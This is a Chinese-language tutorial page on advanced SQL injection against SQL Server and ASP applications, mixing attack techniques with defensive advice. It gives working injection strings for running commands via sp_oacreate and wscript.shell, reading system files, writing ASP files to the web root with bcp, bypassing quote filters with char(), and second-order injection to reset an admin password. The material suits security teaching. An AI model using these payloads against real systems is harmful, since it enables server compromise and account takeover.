PHP程序员站--PHP编程开发平台
 当前位置:主页 >> 数据库 >> MsSQL >> 

SQL Server应用程序的高级Sql注入

SQL Server应用程序的高级Sql注入

来源:互联网  作者:  发布时间:2009-04-20
[概 要] 这篇文章讨论常用的sql注入技术的细节,应用于流行的Ms

[利用BCP创建文本文件]

利用和'bulk insert'作用相反的技术创建任意的文本文件非常简单。不过需要一个命令行工具'bcp'('bulk copy program'),因为bcp在SQL-Server进程外访问数据库,它需要一次登陆。但是这不难,因为攻击者都可以创建一个;或者如果服务器配置使用了“完整性”安全模式,攻击者可以利用它。

命令行格式如下:

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

'S'参数是要运行查询的服务器,'U'参数是用户名,'P'是密码,这里的密码是'foobar'。

[SQL-Server 里的ActiveX自动脚本]

SQL-Server提供了一些内置的扩展存储,允许在SQL-Server内创建ActiveX自动脚本。这些脚本在功能上和windows scripting host上运行的脚本或者asp脚本(通常用Javascript或者Vbscript编写)一样,脚本创建自动对象并且通过他们产生作用。一个用Transact-SQL写的自动脚本可以做任何asp脚本或者WSH脚本能做的事。

下面提供一些例子来说明:

1)这个例子用'wscript.shell'对象创建一个notepad的实例(当然这里也可以是任何命令行命令)

-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

在我们的例子里可以使用这样的用户名(都在一行):

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

2)这个例子用'scripting.filesystemobject'对象去读已知的文本文件:

-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

3)下面的例子创建一个asp脚本执行任意命令:

-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, ' '

需要注意的很重要的一点是Windows NT4,IIS4平台asp脚本将会以'system'的帐号运行,而在IIS5他们会以低权限的IWAM_xxx帐号运行。

4)这个例子(稍带欺骗性)说明这项技术的灵活性,它用'speech.voicetext'(译者注:参考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)对象,使SQL Server说话:

declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'

这当然也可以在我们的例子里使用,通过指定下面的'username'(注意例子不只是注入一段脚本,同时也以'admin'的身份登陆了程序)

用户名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-

[存储过程]

传统的认识是如果ASP程序使用了数据库系统的存储过程,那么就不可能SQL注入了。这句话不完全对,这依赖于ASP脚本调用存储过程的方式。

本质上,一个带参数的查询执行了,用户提供的参数就被安全的传给查询,SQL注入就不可能了。但是,如果攻击者可以对无数据部分的查询语句施加任何影响,他们仍然可能控制数据库。

一个有用的规则是:

1. 如果ASP脚本创建了一个提交给服务器的SQL查询语句,这是很容易被SQL注入的,即使它使用了存储过程。
2. 如果ASP脚本使用了封装传递参数给存储过程的过程对象(如ADO command对象,和参数集合一起使用的)那么它通常就很安全了,但是这还要取决于对象的执行。

明显的,最好习惯于验证所有的用户输入,因为新的攻击技术会不停的涌现。

为了说明存储过程查询的注入,运行下面的SQL语句:

sp_who '1' select * from sysobjects

或者

sp_who '1' ; select * from sysobjects

任何附加语句在存储过程执行后还是可以执行。

[高级Sql注入]

一个应用程序通常过滤单引号,另一方面限制用户的输入,比如限制长度。

在这里,我们将讨论一些绕过一些明显的SQL注入防范的和长度限制的技巧。

[没有符号的字符串]

有时候,开发人员可能已经通过过滤单引号来保护应用程序,比如用VBScript的'replace'函数:

function escape( input )
input = replace(input, "'", "''")
escape = input
end function

不可否认,这会阻止所有的对我们上面给出的对示例站点的攻击,删除';'字符也会起作用。但是,在一个大的程序里一些用户输入可能被假定为数值型。这些值没有限制,提供了很多可以注入的地方。

如果攻击者希望创建一个字符串值而不使用引号,他们可以用'char'函数。例如:

insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)

它是一个往表里插入字符的不带引号的查询语句。

当然,如果攻击者使用一个数值型的用户名和密码的话,下面的语句也同样可以很好的执行:

insert into users values( 667,
123,
123,
0xffff)

因为SQL-Server自动将数值型的转换成'varchar'类型,类型转换是默认的。

[SQL二次注入]

即使一个程序总是过滤单引号,攻击者仍然可以先注入SQL作为数据存放在数据库里然后被程序再次使用。

比如,一个攻击者可能通过注册,创建一个用户名

Username: admin'--
Password: password

程序正确的过滤了单引号,'insert'语句如下:

insert into users values ( 123, 'admin''--', 'password', 0xffff)

我们假设程序允许用户更改密码,ASP脚本在设置新的密码前先确认用户旧密码正确。代码可能这样写:

username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{

设置新密码的查询语句可能这样写的:

sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"

rso("username")是登陆的查询返回的的用户名。

用户名为admin'--,上面的查询就变成了这样:

update users set password = 'password' where username = 'admin'--'

因此攻击者可以通过注册了一个名叫admin'--的用户来把admin的密码改成他们自己的。

这是个危险的问题,目前大部分的大型程序都试图过滤数据。最好的解决方法是拒绝非法输入,而不是简单的改变它。这有时候会导致一些问题,非法字符在某些地方是必要的,比如在名字带符号的情况:

O'Brien

从安全的角度,最好的解决办法是不允许出现单引号。如果这样不行,必须避免它们出现,这种情况下,最好保证所有要进入SQL语句的字符(包括从数据库里取出的字符)都被正确的处理过。

即使这样攻击依然可能实现:如果攻击者可以不经过程序而往系统插入数据。比如攻击者有一个email接口,或者有一个可以控制的错误记录数据库。最好总是验证所有的数据,包括系统里的数据,验证函数调用很简单,比如:

if ( not isValied( "email", request.querystring("emil") ) ) then
response.end

或者其他的方法


延伸阅读:
PHP+SQL注入式攻击专题连载
一些容易被忽略的SQL注入技巧
SQL注入攻击的种类和防范手段
Mysql手工注入语句(站长推荐)
一个登陆注入小示例
MySQL中SQL的单字节注入与宽字节注入

最新文章
推荐阅读
月点击排行榜
PHP程序员站 Copyright © 2007-2010,PHPERZ.COM All Rights Reserved 粤ICP备07503606号